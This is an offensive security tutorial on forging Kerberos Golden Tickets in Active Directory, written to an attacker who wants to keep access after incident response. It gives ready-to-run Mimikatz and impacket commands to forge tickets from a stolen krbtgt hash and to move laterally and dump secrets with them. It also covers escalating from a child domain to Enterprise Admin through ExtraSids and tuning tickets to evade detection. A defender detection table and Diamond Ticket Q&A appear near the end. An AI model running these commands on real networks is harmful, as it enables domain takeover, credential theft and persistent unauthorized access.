Golden Ticket Attack
Forging Kerberos TGTs using the krbtgt NT hash: crafting arbitrary PACs with fake group memberships, setting 10-year lifetimes, embedding Extra SIDs for cross-forest attacks, and surviving domain admin password resets
The incident response team reset every domain admin password. They even rotated the KRBTGT password once. They believe the attacker is locked out. They're wrong. You ran DCSync before the incident response started, captured the krbtgt NT hash, and used it to forge a Golden Ticket valid for 10 years. You can re-authenticate as Domain Admin at any time. The IR team doesn't know they need to rotate krbtgt twice with a 10-hour gap. This is the endgame of AD compromise: a persistence mechanism that survives password resets, account deletions, and domain admin group changes, because the trust anchor — the krbtgt key — hasn't changed.
Kerberos TGT Anatomy — What Gets Forged
Required Data for Forging
| Data | How to Get It | Example |
|---|---|---|
| krbtgt NT hash | DCSync: secretsdump -just-dc-user krbtgt | d3e7b70b4e2e2c3f9bc4ab1df3c5b7fa |
| Domain SID | whoami /all, PowerShell Get-ADDomain, LDAP objectSid on domain object | S-1-5-21-3462848041-2242272571-3741800826 |
| Domain name | whoami /domain, ipconfig /all, LDAP defaultNamingContext | CORP.LOCAL |
| Username to impersonate | Any — can be non-existent. "Administrator" works. Or make up "svcNotReal" | Administrator |
# Get domain SID (any domain user can do this)
whoami /all | findstr "Domain SID"
# or:
powershell "(New-Object System.Security.Principal.NTAccount 'CORP','Administrator').Translate([System.Security.Principal.SecurityIdentifier]).Value"
# Remove last RID portion: S-1-5-21-3462848041-2242272571-3741800826-500 → strip -500
# From LDAP:
(ldap search on domain object, objectSid attribute, convert byte array to string)
Forging with Mimikatz
# Golden Ticket — forge TGT for Administrator with full DA group membership
mimikatz# kerberos::golden \
/user:Administrator \
/domain:corp.local \
/sid:S-1-5-21-3462848041-2242272571-3741800826 \
/krbtgt:d3e7b70b4e2e2c3f9bc4ab1df3c5b7fa \
/id:500 \
/groups:512,513,520,518,519 \
/ptt
# Parameters:
# /user: any name (can be non-existent — domain doesn't validate the name)
# /domain: domain FQDN
# /sid: domain SID (without trailing RID)
# /krbtgt: krbtgt NT hash from DCSync
# /id: user RID (500 = Administrator, or any valid RID)
# /groups: group RIDs (512=Domain Admins, 513=Domain Users, 520=Group Policy Creators, etc.)
# /ptt: inject directly into current session (no file saved)
# With custom lifetime (default is 10 years)
mimikatz# kerberos::golden /user:fake /domain:corp.local \
/sid:S-1-5-21-... /krbtgt:d3e7b70... \
/startoffset:0 /endin:600 /renewmax:10080 /ptt
# /endin: minutes until expiry (600 = 10 hours = standard)
# /renewmax: max renewable period in minutes (10080 = 7 days = standard)
# Using standard lifetimes is more OPSEC-friendly — abnormal TTLs are detected
# Save to file instead of injecting
mimikatz# kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-... /krbtgt:d3e7b70... /ticket:golden.kirbi
# Use AES-256 key instead of NT hash (preferred for OPSEC)
mimikatz# kerberos::golden /user:Administrator /domain:corp.local \
/sid:S-1-5-21-... \
/aes256:5a8c4d3b2e1f9a7d6c5b4a3f2e1d0c9b... \
/ptt
Forging with impacket ticketer.py
# impacket ticketer.py — cross-platform Golden Ticket forging
ticketer.py -nthash d3e7b70b4e2e2c3f9bc4ab1df3c5b7fa \
-domain-sid S-1-5-21-3462848041-2242272571-3741800826 \
-domain corp.local \
Administrator
# Output: Administrator.ccache
# Add extra group SIDs for Domain Admins, Enterprise Admins (519)
ticketer.py -nthash d3e7b70b4e2e2c3f9bc4ab1df3c5b7fa \
-domain-sid S-1-5-21-3462848041-2242272571-3741800826 \
-domain corp.local \
-groups 512,513,519,520 \
-user-id 500 \
Administrator
# Use the ticket
export KRB5CCNAME=Administrator.ccache
psexec.py -k -no-pass Administrator@dc01.corp.local
wmiexec.py -k -no-pass Administrator@target.corp.local
secretsdump.py -k -no-pass dc01.corp.local
Extra SIDs — Cross-Forest Enterprise Admin
The PAC's ExtraSids field lets you claim additional SIDs beyond the domain's groups. If you have the krbtgt hash of a child domain and SID filtering is not enforced between child and parent domains (default in same-forest), you can add the Enterprise Admins SID (S-1-5-21-[root domain SID]-519) from the forest root domain. This gives you Enterprise Admin privileges in the root domain from a compromised child domain:
# From child domain DC, forge TGT with Enterprise Admins ExtraSID
# (Inter-realm TGT for parent domain trust)
# Requires:
# - Child domain krbtgt hash (from compromising child domain)
# - Child domain SID
# - Parent domain SID (for Enterprise Admins SID construction)
# - Trust key between child → parent (from child DC LSASS or LDAP trust attrs)
# Step 1: Get parent domain Enterprise Admins SID
# EA SID = S-1-5-21-[FOREST_ROOT_SID]-519
# Get forest root SID: from parent domain's LDAP objectSid
# Step 2: Forge child domain TGT with ExtraSids containing parent EA SID
ticketer.py -nthash [child_krbtgt_hash] \
-domain-sid S-1-5-21-[CHILD_SID] \
-domain child.corp.local \
-extra-sid S-1-5-21-[ROOT_SID]-519 \ # Enterprise Admins in root domain
Administrator
# Step 3: Request TGS for parent domain service using the inter-realm TGT
# The trust key encrypts the inter-realm ticket — impacket handles the exchange
getST.py -k -no-pass -spn 'cifs/dc01.corp.local' child.corp.local/Administrator
# Works because SID filtering between same-forest trust doesn't strip ExtraSids by default
# Mitigation: enable SID Filtering (Quarantine mode) on cross-domain trusts
OPSEC Considerations
| Factor | Bad (Detectable) | Better |
|---|---|---|
| Ticket lifetime | 10 years (endtime = 2034) | Standard 10 hours (matches domain policy) |
| Encryption type | RC4 (etype 23) in AES-only environment | AES-256 (etype 18) using krbtgt AES key from DCSync |
| Username | "SomeNonExistentUser" — does not exist in AD | Existing admin account with history of Kerberos use |
| Group membership in PAC | Unrealistic RID list (e.g., Domain Admins + unusual combinations) | Match realistic group memberships for the impersonated account |
| Source IP using ticket | Brand new machine, VPN IP, VM never seen in domain | Known admin workstation or machine with history of DA logons |
You can forge a ticket for "John1234567" — a username that doesn't exist in AD. When this ticket is used to authenticate to a service, the service validates the ticket signature (using the service account's key) and trusts the PAC. However, since Windows Server 2022 and the November 2021 patches, additional PAC validation was introduced (PAC_REQUESTOR field and validation against the DC) — if the KDC is asked to validate the ticket and the username doesn't exist, it fails. To avoid this, use a real existing user's account in the ticket. Using "Administrator" (which always exists) is the safest choice; it's also the most scrutinized by detections.
krbtgt Rotation — Defender's Response
Detection
| Signal | Source | Notes |
|---|---|---|
| Kerberos TGT with unusual lifetime (endtime far beyond domain MaxTicketAge) | DC Security Log (4768/4769) | Domain max is usually 10h; 10-year Golden Tickets are obvious — use standard lifetime to evade |
| 4768 (TGT issuance) event missing for an account that's generating 4769 (TGS requests) | DC Security Log | Golden Ticket never touches the DC for AS-REQ — if a TGS request appears for an account with no recent TGT issuance, suspicious |
| PAC validation failure (Event 4769 with Failure Code 0x1C or 0x1F) | DC Security Log | Forged PAC checksum failure — rare in normal operation, immediate alert |
| Account "unknown" in 4624 (ticket for non-existent user) | Security Log | Low-effort detection for lazy Golden Tickets using made-up usernames |
| Microsoft Defender for Identity: Kerberos Golden Ticket alert | MDI behavioral alert | MDI correlates AS-REQ absence + TGS presence and unusual PAC fields as Golden Ticket signal |
Q&A
Can you create a Golden Ticket without Domain Admin if you get the krbtgt hash another way?
The krbtgt hash is protected by AD's ACL system — it can only be read by processes with Replication-Get-Changes-All rights, which in practice means Domain Admins and DCs. However, there are attack paths that get the krbtgt hash without having Domain Admin explicitly. If you can execute code on a Domain Controller as SYSTEM (via a vulnerability, a service exploit, or BYOVD with a kernel driver), you can read the krbtgt hash from LSASS on the DC directly using Mimikatz sekurlsa::logonpasswords or lsadump::lsa /patch. Another path: if you compromise the Azure AD Connect sync account (which has DCSync rights), you can DCSync as that account without being in the Domain Admins group. ADCS ESC8 (relay to get a DC certificate, then PKINIT for DC account, then DCSync as DC$) also yields the krbtgt hash without ever being in Domain Admins. The fundamental point is that the krbtgt hash is the "crown jewel" of AD compromise and has multiple paths to reach it — all of which require significant privilege (SYSTEM on a DC, or delegated replication rights, or a chain exploit).
What is a Diamond Ticket and why is it more OPSEC-safe than a Golden Ticket?
A Diamond Ticket (introduced by Charlie Clark, 2022) is a modification of the Golden Ticket technique that avoids one of its detection signatures: the missing AS-REQ. A standard Golden Ticket is forged entirely offline — you never contact the DC for a TGT. This means if defenders monitor for TGS requests (Event 4769) without a corresponding TGT issuance (Event 4768) for an account, the Golden Ticket stands out. A Diamond Ticket instead: (1) performs a real AS-REQ to get a real TGT from the KDC, (2) decrypts the TGT using the krbtgt key (which you have), (3) modifies the PAC inside the decrypted ticket (adds group memberships, changes the identity), (4) re-encrypts with the krbtgt key, and (5) injects the modified ticket. The result: there's a real 4768 event for the real account, the ticket signature is valid because you used the real krbtgt key, but the PAC contents have been modified to grant elevated privileges. This is harder to detect because the authentication flow looks legitimate. Rubeus supports Diamond Tickets with the diamond command.